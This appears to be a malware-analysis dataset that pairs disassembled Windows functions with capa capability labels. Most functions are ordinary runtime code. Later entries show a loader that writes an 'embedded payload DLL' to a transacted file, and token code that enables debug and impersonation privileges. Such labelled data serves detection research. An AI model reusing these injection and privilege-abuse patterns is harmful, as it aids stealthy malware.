joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6e6a30
Capabilities:
Hash data using djb2

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbp, rdx
movsx rdx, byte [rdx]
test rdx, rdx
je 0x6e6af0
mov r8, rbp
mov esi, 0x1505
mov rax, rsi
shl rax, 5
inc r8
add rax, rdx
movsx rdx, byte [r8]
add rsi, rax
test rdx, rdx
jne 0x6e6a50
mov r8, qword [rcx + 0x10]
lea rdi, [0x00780d80]
mov rax, rsi
xor edx, edx
div qword [rdi + r8*8]
mov rdi, qword [rcx + 8]
add rcx, 0x18
shl rdx, 4
add rdi, rdx
mov rbx, qword [rdi]
cmp rbx, rcx
jne 0x6e6aaa
jmp 0x6e6ae0
cmp rbx, qword [rdi + 8]
je 0x6e6ad0
mov rbx, qword [rbx + 8]
cmp qword [rbx - 8], rsi
jne 0x6e6aa0
lea rcx, [rbx + 0x20]
mov rdx, rbp
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6e6aa0
mov rax, qword [rbx + 0x10]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor eax, eax
cmp rbx, qword [rdi + 8]
jne 0x6e6aaa
jmp 0x6e6ac4
mov esi, 0x1505
jmp 0x6e6a69

Function at 0x6e98e0
Capabilities:
Hash data using djb2

Disassembly:
test rcx, rcx
je 0x6e98f8
mov eax, dword [rcx]
test eax, eax
jne 0x6e98f8
add rcx, 0x10
jmp fcn.006e6a30
xor eax, eax
ret
Function at 0x6ec640
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbx, qword [0x007b8610]
test rbx, rbx
je 0x6ec810
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rbx, rbx
je 0x6ec810
mov rax, qword [rbx + 0x10]
lea rbp, [rsp + 0x20]
mov rdx, qword [rbx + 0x18]
lea rsi, [rsp + 0x30]
mov rcx, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
call fcn.006ebec0
lea rax, [rbx + 0x38]
mov rcx, rsi
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
xchg qword [rax], rcx
test rcx, rcx
je 0x6ec70c
mov qword [rcx + 8], rsi
lea rdx, [rcx + 0x18]
xor eax, eax
mov rcx, 0xffffffffffffffff
lock cmpxchg qword [rdx], rcx
test rax, rax
mov rcx, rax
je 0x6ec6f7
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea r12, [rsi + 0x10]
xor edi, edi
lock xadd qword [r12], rdi
test rdi, rdi
je 0x6ec820
mov dword [rbx + 0x28], 6
mov r8, qword [rsp + 0x30]
lea rax, [rsi + 8]
xor edx, edx
lock xadd qword [rax], rdx
test rdx, rdx
mov rcx, rdx
je 0x6ec860
add rcx, 0x10
xor eax, eax
mov rdx, 0xffffffffffffffff
lock cmpxchg qword [rcx], rdx
test rax, rax
mov rcx, rax
je 0x6ec74f
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [rbx + 0x178]
mov esi, 0xffffffff
mov rdi, qword [sym.imp.KERNEL32.dll_SetEvent]
test rax, rax
jne 0x6ec78b
jmp 0x6ec7d5
add r8, 8
mov eax, esi
xchg dword [r8], eax
mov rcx, qword [rdx + 0x20]
call rdi
mov rax, qword [rbx + 0x178]
test rax, rax
je 0x6ec7d5
mov rdx, qword [rax]
mov r9, qword [rdx + 0x28]
mov r10, qword [rdx + 0x10]
mov qword [rdx + 0x10], rbx
mov rax, qword [r9 + 0x18]
test rax, rax
je 0x6ec7ab
mov rcx, qword [r9 + 0x10]
mov qword [rax + 0x10], rcx
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x6ec7b8
mov qword [rcx + 0x18], rax
cmp r9, qword [r10 + 0x178]
mov r8, r9
jne 0x6ec770
mov rax, qword [r9 + 0x18]
mov qword [r10 + 0x178], rax
mov r8, qword [rdx + 0x28]
jmp 0x6ec770
cmp dword [rbx + 0x184], 1
jne 0x6ec810
mov rax, qword [rbx + 0x10]
mov rcx, rbp
mov rdx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
call fcn.006ebbc0
mov rax, qword [0x007b8610]
xor edx, edx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop dword [rax]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov r13, rax
mov rax, rdi
lock cmpxchg qword [r12], r13
test rax, rax
je 0x6ec84f
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x6ec70c
mov edx, 0xffffffff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x6ec841
mov rax, rsi
lock cmpxchg qword [r8], rdx
cmp rsi, rax
je 0x6ec74f
lea rcx, [rsi + 0x18]
lock xadd qword [rcx], rdx
test rdx, rdx
je 0x6ec88f
add rsi, 8
xor ecx, ecx
lock xadd qword [rsi], rcx
jmp 0x6ec72f
call fcn.006eb8c0
jmp 0x6ec87f
Function at 0x6efd10
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x007b8608]
test rbx, rbx
je 0x6efd72
mov esi, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rbx, rbx
je 0x6efd72
test esi, esi
je 0x6efd57
mov rax, qword [rbx]
test rax, rax
je 0x6efd57
mov rcx, qword [rbx + 8]
call rax
mov rdx, qword [rbx + 0x10]
mov rcx, qword [0x007b8608]
call fcn.006ef850
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x6efd80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x007b8608]
test rsi, rsi
mov rbx, rcx
mov qword [rcx], rdx
mov qword [rcx + 8], r8
je 0x6efde0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rsi]
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, ebp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rsi, qword [0x007b8608]
mov rdx, rbx
mov rcx, rsi
mov qword [rbx + 0x10], rdi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.006ef850
xor edi, edi
jmp 0x6efdc0

Function at 0x6efdf0
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, qword [0x007b8610]
test rsi, rsi
mov rbx, rcx
je 0x6efe52
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rsi]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x6efe52
mov rdi, qword [rsi + 0x18]
mov rsi, qword [rsi + 0x10]
mov qword [rbx], rsi
mov qword [rbx + 8], rdi
mov rax, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea r12, [rsp + 0x40]
mov rcx, r12
call fcn.006ed270
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
test rbp, rbp
mov rsi, rbp
je 0x6efe37
or byte [rbp + 0x194], 1
mov dword [rbp + 0x184], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r13, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbp + 0x198], eax
call r13
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r14, rax
call r13
lea r9, [rbp + 8]
mov r8, r15
mov rdx, r14
mov rcx, rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x6eff00
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rcx, qword [0x007b8610]
mov rdx, rbp
mov dword [rbp + 0x188], eax
call fcn.006ef850
jmp 0x6efe37
mov rcx, r12
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rdi
call fcn.006ed0d0
mov qword [rbx], 0
mov dword [rbx + 8], 0
jmp 0x6efe3e
Function at 0x6eff30
Capabilities:
Create thread
Resume thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
test rdx, rdx
mov r12, rcx
mov r14, r8
mov dword [rcx + 8], 0
mov r13, r9
je 0x6f0070
mov rbp, qword [rdx]
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.006ed270
mov rbx, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
test rbx, rbx
je 0x6f0040
mov ecx, 0x20
call sub.msvcrt.dll_malloc
test rax, rax
mov rsi, rax
je 0x6f0040
test rbp, rbp
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r13
je 0x6f00a0
mov eax, dword [rbp + 0x18]
mov r14, qword [rbp + 0x10]
mov r13d, dword [rbp + 0x1c]
mov dword [rbx + 0x184], eax
mov eax, dword [rbp + 0x20]
test eax, eax
je 0x6f0080
mov dword [rbx + 0x28], 0
xor ecx, ecx
mov r9, rsi
mov edx, r14d
lea rax, [rbx + 0x198]
mov qword [rbx + 0x58], 0
lea r8, [0x006efc50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov rbp, rax
mov qword [rbx + 8], rax
je 0x6f00f0
mov r8d, r13d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r15
call fcn.006edee0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [r12], rbx
xor eax, eax
mov qword [r12 + 8], r15
jmp 0x6f0057
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r15
call fcn.006ebbc0
mov eax, 0xb
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor ebp, ebp
jmp 0x6eff5c
mov rcx, rdi
call fcn.006efdf0
mov rax, qword [rsp + 0x30]
mov r13d, dword [rax + 0x188]
jmp 0x6effc6
mov dword [rbx + 0x28], 0
xor edx, edx
xor ecx, ecx
mov r9, rsi
lea rax, [rbx + 0x198]
mov qword [rbx + 0x58], 0
lea r8, [0x006efc50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov rbp, rax
mov qword [rbx + 8], rax
jne 0x6f0025
nop word [rax + rax]
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r15
call fcn.006ebbc0
mov rcx, rsi
call sub.msvcrt.dll_free
mov eax, 0xb
jmp 0x6f0057

Function at 0x6f6b30
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
test rcx, rcx
je 0x6f6b63
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
ret
xor ebx, ebx
jmp 0x6f6b59
Function at 0x6f6b70
Capabilities:
Get thread local storage value

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov edi, ecx
mov rcx, qword [0x007b8610]
call fcn.006f6b30
mov rsi, rax
mov dword [rax + 0x28], 5
lea eax, [rdi - 1]
cmp eax, 1
jbe 0x6f6ba8
mov ecx, 1
call sub.msvcrt.dll_exit
test byte [rsi + 0x194], 1
jne 0x6f6c22
mov rbx, qword [0x007b8608]
test rbx, rbx
je 0x6f6c17
mov r13, qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x6f6bff
mov r8, qword [rbx]
test r8, r8
je 0x6f6be3
mov rcx, qword [rbx + 8]
call r8
mov rdx, qword [rbx + 0x10]
mov rcx, qword [0x007b8608]
call fcn.006ef850
mov rbx, qword [0x007b8608]
test rbx, rbx
je 0x6f6c17
call r13
mov ecx, dword [rbx]
mov r14d, eax
call r12
mov ecx, r14d
mov rbx, rax
call rbp
test rbx, rbx
jne 0x6f6bd4
lea rcx, [rsi + 0x70]
mov edx, edi
call sub.msvcrt.dll_longjmp
or ecx, 0xffffffff
cmp edi, 2
jne 0x6f6c39
cmp dword [0x007b8618], 0
jne 0x6f6c3e
call qword [sym.imp.msvcrt.dll__endthreadex]
mov ecx, dword [rsi + 0x48]
jmp 0x6f6c2a
mov dword [rsp + 0x2c], ecx
call fcn.006ec640
mov ecx, dword [rsp + 0x2c]
jmp 0x6f6c33
Function at 0x6fd190
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, 1
test edx, edx
mov rbx, rcx
cmovg esi, edx
cmp edx, 0x3ffffff
jg 0x6fd208
movsxd rdx, dword [rcx]
movsxd r8, esi
shl r8, 3
test edx, edx
je 0x6fd1e8
mov rax, qword [0x00785240]
shl rdx, 3
mov rcx, qword [rcx + 8]
call qword [rax]
mov edx, dword [rbx + 4]
mov ecx, dword [rbx + 4]
sar edx, 0x1f
xor ecx, edx
sub ecx, edx
cmp ecx, esi
jg 0x6fd238
mov qword [rbx + 8], rax
mov dword [rbx], esi
add rsp, 0x28
pop rbx
pop rsi
ret
mov rax, qword [0x00785200]
mov rcx, r8
call qword [rax]
mov qword [rbx + 8], rax
mov dword [rbx], esi
add rsp, 0x28
pop rbx
pop rsi
ret
mov ecx, 2
call qword [fcn.00720630]
lea rcx, str.gmp:_overflow_in_mpz_type_n
mov r9, rax
mov r8d, 0x1a
mov edx, 1
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop word [rax + rax]
mov dword [rbx + 4], 0
jmp 0x6fd1db

Function at 0x718860
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00720630
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00720630
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x7188d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x007b8c34]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x718a78
mov rax, qword [0x007b8c38]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x71891c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x7189a7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x718900
mov rcx, r12
call fcn.00719630
mov rbp, rax
test rax, rax
je 0x718ab2
mov rax, qword [0x007b8c38]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00719760
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x007b8c38]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x718ac1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x7189a0
sub eax, 4
and eax, 0xfffffffb
jne 0x718a30
add dword [0x007b8c34], 1
cmp ebx, 8
jae 0x7189d8
test bl, 4
jne 0x718a80
test ebx, ebx
je 0x7189c9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x718aa0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x7189c9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x718a0a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x007b8c38]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x7189a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00718860
nop dword [rax]
xor edi, edi
jmp 0x718927
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x7189c9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x7189c9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00718860
mov rax, qword [0x007b8c38]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00718860
nop
nop dword [rax]
Function at 0x7192a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x007b8f20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x007b8f00]
test rbx, rbx
je 0x7192f4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x7192eb
test r12, r12
je 0x7192eb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x7192d0
lea rcx, [0x007b8f20]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x719630
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00785270]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x7196a9
mov rcx, r10
call fcn.00719500
test eax, eax
je 0x7196a9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x7196a6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x71969d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x7196a9
add r8, 0x28
cmp r8, r9
jne 0x719688
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140002f80
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Get common file path
Get file attributes
Query environment variable
Set environment variable
Terminate process

Disassembly:
push r15
mov eax, 0xa4d8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140002c20
sub rsp, rax
call fcn.140001c50
mov r9d, 0x40
lea r8, [0x1400061d8]
mov edx, pe_nt_image_headers64
lea rcx, [0x14004a040]
mov dword [rsp + 0xcc], 1
call fcn.1400017e0
xor r10d, r10d
mov r8d, 0x1000
xor ecx, ecx
lea rax, [rsp + 0x64d0]
mov word [rsp + 0x44d0], r10w
mov rdi, rax
mov rdx, rax
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
mov edx, 0x80000000
mov qword [rsp + 0x30], 0
mov r8d, 1
mov rcx, rdi
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov qword [rsp + 0xb0], rax
call rax
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003c27
lea rbp, [rsp + 0x84d0]
xor r9d, r9d
mov r8d, 0x1000
mov rcx, rax
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
mov ebx, eax
lea eax, [rbx - 1]
cmp eax, 0xffe
ja 0x14000310c
mov r8d, 4
lea rdx, str.__
mov rcx, rbp
call sub.msvcrt.dll_wcsncmp
test eax, eax
je 0x140003bd9
lea rdi, [rsp + 0x4d0]
xor eax, eax
mov qword [rsp + 0x60], rdi
add rax, rax
mov r8, rbx
mov rcx, rdi
lea rdx, [rbp + rax]
call sub.msvcrt.dll_wcsncpy
mov word [rdi + rbx*2], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x24d0]
mov rcx, rax
mov qword [rsp + 0xa8], rax
mov rdx, rdi
call sub.msvcrt.dll_wcscpy
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
jne 0x140003128
mov ecx, 2
call qword [fcn.140002ca0]
mov r8, rdi
lea rdx, str.Invalid_executable_path:__s_n
mov rcx, rax
call sub.msvcrt.dll_fwprintf
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x4d0]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov qword [rsp + 0x60], rax
call sub.msvcrt.dll_wcscpy
jmp 0x1400030ae
mov rcx, qword [rsp + 0x60]
call sub.msvcrt.dll_wcslen
xor r9d, r9d
mov dword [rsp + 0x98], r9d
mov r12, rax
lea rcx, [rsp + 0x84d8]
mov r8d, 4
lea rdx, str.UNC_
call sub.msvcrt.dll_wcsncmp
test eax, eax
jne 0x140003d2f
lea rcx, [rsp + 0x4d0]
mov eax, 7
mov word [rsp + 0x4d0], 0x5c
lea rdi, [rsp + 0x4d2]
mov qword [rsp + 0x60], rcx
sub rbx, rax
jmp 0x140003095
lea rax, [rsp + 0x4d0]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov qword [rsp + 0x60], rax
call sub.msvcrt.dll_wcscpy
jmp 0x1400030b7
lea rdi, [rsp + 0x4d0]
mov eax, 4
mov qword [rsp + 0x60], rdi
jmp 0x140003c1f
Function at 0x140002870
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x98], rax
xor ebx, ebx
mov dword [rsp + 0x68], 0x30
xorps xmm0, xmm0
mov qword [r11 - 0x68], rbx
movups xmmword [rsp + 0x70], xmm0
mov r15, rcx
mov qword [r11 - 0x60], rbx
xor eax, eax
mov dword [rsp + 0x60], ebx
lea edx, [rbx + 0x67]
mov qword [r11 - 0x28], rax
lea r8d, [rbx + 0xa]
xor ecx, ecx
movups xmmword [r11 - 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140002a77
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rdi
xor ecx, ecx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140002a77
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x140002a77
test esi, esi
je 0x140002a77
mov edx, esi
lea rcx, str.Loaded_payload_DLL__image_size:__d_bytes_n
call fcn.140003c20
lea rdx, [rsp + 0x50]
mov ecx, esi
call fcn.140002450
test eax, eax
je 0x140002a77
mov rdi, qword [rsp + 0x50]
lea rcx, str.Found_file_for_transaction:__ws_n
mov rdx, rdi
call fcn.140003c20
mov qword [rsp + 0x48], rbx
lea r8, [rsp + 0x68]
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x38], ebx
xor r9d, r9d
mov dword [rsp + 0x30], ebx
mov edx, 0x1f003f
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntdll.dll_NtCreateTransaction]
test eax, eax
je 0x1400029ac
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x140007608]
call fcn.140003900
jmp 0x140002a65
mov rax, qword [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0xc0000000
mov qword [rsp + 0x38], rax
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov qword [rsp + 0xc8], rbp
call qword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140002a08
lea rcx, str.CreateFileTransacted
call fcn.140003900
jmp 0x140002a5d
mov rdx, rdi
lea rcx, str.Opened_file__ws_for_transaction._n
call fcn.140003c20
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rbx
mov r8d, esi
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002a42
lea rcx, [0x1400076a8]
call fcn.140003900
jmp 0x140002a5d
mov edx, dword [rsp + 0x60]
lea rcx, str.Wrote__d_bytes_of_embedded_payload_DLL_to_transacted_file._n
mov r8, rdi
call fcn.140003c20
mov qword [r15], rbp
mov ebx, 1
mov rbp, qword [rsp + 0xc8]
test rdi, rdi
je 0x140002a73
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, ebx
jmp 0x140002a79
xor eax, eax
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400043b0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140002fd0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ebx, ebx
mov r14d, r9d
mov qword [rsp + 0x28], rbx
mov rbp, r8
mov qword [rsp + 0x20], rbx
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x28]
mov edx, 0x2000000
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140003030
lea rcx, [0x140006d90]
call fcn.140003900
jmp 0x1400030b5
mov rcx, qword [rsp + 0x28]
lea rdx, str.SeDebugPrivilege
mov r8d, 1
call fcn.140004150
test eax, eax
je 0x1400030b5
mov rcx, qword [rsp + 0x28]
lea rdx, str.SeImpersonatePrivilege
mov r8d, 1
call fcn.140004150
test eax, eax
je 0x1400030b5
mov r9d, r14d
lea rdx, [rsp + 0x20]
mov r8, rbp
mov rcx, rdi
call fcn.140002ab0
test eax, eax
je 0x1400030b5
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, qword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov qword [rsp + 0x30], rax
call qword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
jne 0x1400030ad
lea rcx, [0x140007920]
call fcn.140003900
jmp 0x1400030b5
mov qword [rsi], rdi
mov ebx, 1
mov rcx, qword [rsp + 0x28]
